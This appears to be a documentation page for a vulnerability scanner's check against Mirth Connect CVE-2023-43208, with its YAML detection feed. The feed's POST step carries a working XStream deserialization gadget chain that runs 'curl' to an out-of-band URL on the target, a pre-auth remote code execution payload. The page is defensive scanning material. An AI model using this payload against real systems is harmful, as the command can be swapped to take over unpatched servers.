Mirth Connect — 1 vulnerability check

noctis ships 1 vulnerability check for Mirth Connect, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NextGen Mirth Connect Pre-Auth Deserialization RCE

CVECVE-2023-43208
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/mirth-connect/CVE-2023-43208.yaml

Reads the version from /api/server/version and reports builds < 4.4.1. With OOB enabled it POSTs a crafted object to /api/users and confirms the pre-auth deserialization by the callback.

How noctis detects it

  1. HTTP(S) request GET /api/server/version
  2. Checks version_resp.body for ^4\.[0-3]\. → finding QoD 70: Mirth Connect vulnerable version detected (CVE-2023-43208): version … is < 4.4.1
  3. HTTP(S) request POST /api/users with a crafted body
  4. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Mirth Connect pre-auth deserialization RCE confirmed via OOB callback (CVE-2023-43208)
Feed source — tests/vulnerabilities/mirth-connect/CVE-2023-43208.yaml
uid: af6b8bca-a6f7-46ca-832c-abbcda9dea96
name: "NextGen Mirth Connect Pre-Auth Deserialization RCE (CVE-2023-43208)"
description: "Reads the version from /api/server/version and reports builds < 4.4.1. With OOB enabled it POSTs a crafted object to /api/users and confirms the pre-auth deserialization by the callback."
cves: [CVE-2023-43208]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [mirth-connect, nextgen, deserialization, rce, xstream, kev, pre-auth, oob]
services: [http, https]
author: noctis
version: "1.0.0"

steps:
  - id: init-gate
    action: set_var
    var_name: mirth_vuln
    var_value: false

  - id: version-probe
    action: http_request
    method: GET
    path: "/api/server/version"
    port: "{{port}}"
    tls_insecure: true
    headers:
      X-Requested-With: OpenAPI
    store_as: version_resp

  - id: version-match
    action: match
    source: version_resp.body
    pattern: "^4\\.[0-3]\\."
    condition: "version_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.35
        qod: 70
        evidence: "Mirth Connect vulnerable version detected (CVE-2023-43208): version {{version_resp.body}} is < 4.4.1"
      set_vars:
        mirth_vuln: true

  - id: oob-probe
    action: http_request
    method: POST
    path: "/api/users"
    port: "{{port}}"
    tls_insecure: true
    headers:
      X-Requested-With: OpenAPI
      Content-Type: application/xml
    body: "<sorted-set><string>a</string><dynamic-proxy><interface>java.lang.Comparable</interface><handler class=\"org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler\"><target class=\"org.apache.commons.collections4.functors.ChainedTransformer\"><iTransformers><org.apache.commons.collections4.functors.InvokerTransformer><iMethodName>exec</iMethodName><iArgs><string>curl {{oob_url}}</string></iArgs></org.apache.commons.collections4.functors.InvokerTransformer></iTransformers></target><methodName>transform</methodName><eventTypes><string>compareTo</string></eventTypes></handler></dynamic-proxy></sorted-set>"
    store_as: rce_resp
    condition: "mirth_vuln == true && oob_enabled"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "mirth_vuln == true && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Mirth Connect pre-auth deserialization RCE confirmed via OOB callback (CVE-2023-43208)"
      stop: true

View these feeds on GitHub